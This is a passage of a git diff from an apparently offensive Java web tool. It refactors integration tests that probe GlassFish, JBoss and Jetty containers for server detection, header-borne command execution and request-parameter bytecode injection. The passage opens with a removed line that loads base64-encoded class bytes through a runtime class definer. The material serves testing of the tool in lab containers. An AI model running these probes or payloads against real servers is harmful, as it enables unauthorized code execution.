ja01hcFRhYmxlACEAAgAEAAAAAQAJAAUABgABAHYAAAACAAgAAwABAAkACgABAHcAAADtAAYACAAAAJsqtwAOKrcAEhIUtgAaTAa9ABZZA7sAHFm3AB0SH7YAIysDMrYAI7YAJlNZBLsAHFm3AB0SKLYAIysEMrYAI7YAJlNZBbsAHFm3AB0SKrYAIysFMrYAI7YAJlNNLE4tvjYEAzYFFQUVBKIAMi0VBTI6BrsAHFm3AB0ZBrYAIxIutgAjsgAwtgAjtgAmuAA2V6cABToHhAUBp//NsQABAHEAjwCSAAwAAQB4AAAAOAAE/wBkAAYHAAIHACwHACwHACwBAQAA/wAtAAcHAAIHACwHACwHACwBAQcAFgABBwAM+gAB+AAFAAIADwAQAAEAdwAAATcABQAKAAAA0gFMKk0AAacAA00SOLgAPk6yAEQQXKAACBJGpwAFEkg6BLsAQFktuwAcWbcAHRJKtgAjsgBNtgAjGQS2ACO2ACa3AFA6BbsAQFm7AEBZLbcAU7YAV7sAHFm3AB0SSrYAI7IATbYAIxkEtgAjtgAmtwBaOgYZBbYAXpoACxkGtgBemQAIEmCnAAUSYjoHEmS4AD46CLsAZlkSaLgAPrcAabYAbbgAcToJuwAcWbcAHRkHtgAjEnO2ACMZCLYAIxJztgAjGQm2ACO2ACZZTacAA0wssAAAAAEAeAAAAFMAC/wAAgcAFvwAAQcAAv8ABAACBwACBwAWAAEHABb8AAAHABb8ABIHABZBBwAW/gBjBwAWBwBABwBABEEHABb/AEQAAwcAAgcAFgcAFgABBwAWAAAIAHQACgABAHcAAAAnAAIAAAAAABGnAA0AuwACWbcAdVexAKf/9QAAAAEAeAAAAAQAAgMJAAA="); - ClassDefiner.defineClass(bytes); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java index fdbae304..dd549982 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -19,9 +18,8 @@ import java.nio.file.Files; import java.nio.file.Paths; import java.time.Duration; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -62,20 +60,20 @@ public class GlassFish3ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.GLASSFISH, data); + assertEquals(Server.GlassFish, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java index dd3c4c63..12300264 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -20,9 +19,8 @@ import java.nio.file.Files; import java.nio.file.Paths; import java.time.Duration; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -68,20 +66,20 @@ public class GlassFish4ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.GLASSFISH, data); + assertEquals(Server.GlassFish, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java index 8c03b0c6..ab9532c2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -54,20 +52,20 @@ public class GlassFish501ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.GLASSFISH, data); + assertEquals(Server.GlassFish, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java index e55b8ea7..983df63f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class GlassFish510ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.GLASSFISH, data); + assertEquals(Server.GlassFish, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java index 748b5f68..c3d1deaa 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -56,20 +54,20 @@ public class GlassFish6ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.GLASSFISH, data); + assertEquals(Server.GlassFish, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11); + ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V11); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11); + ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java index 10d3c97c..f15d7468 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -18,9 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -62,20 +60,20 @@ public class GlassFish7ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.GLASSFISH, data); + assertEquals(Server.GlassFish, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V17); + ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V17); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V17); + ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java index 8a4a2f21..bb325f9c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.jbossas; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -56,20 +54,20 @@ public class Jboss423ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JBOSS, data); + assertEquals(Server.JBoss, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java index 51249613..e71152ae 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.jbossas; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class Jboss510ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JBOSS, data); + assertEquals(Server.JBoss, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java index c135b494..c9a731fb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.jbossas; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class Jboss610ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JBOSS, data); + assertEquals(Server.JBoss, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java index 06d25cc8..5252e1bb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.jbossas; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class Jboss711ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JBOSS, data); + assertEquals(Server.JBoss, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java index afd0e514..0a110410 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.jbosseap; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class JbossEap6ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JBOSS, data); + assertEquals(Server.JBoss, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java index 9f9fb967..e5d33196 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.jbosseap; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -55,20 +54,20 @@ public class JbossEap7ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.UNDERTOW, data); + assertEquals(Server.Undertow, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java index d2b16e90..f432a30b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.probe.payload.response.JettyWriter; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -59,20 +53,20 @@ public class Jetty10ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V11); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V11); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V11); + ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java index dfc12281..ffbbfe08 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.probe.payload.response.JettyWriter; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; @@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static 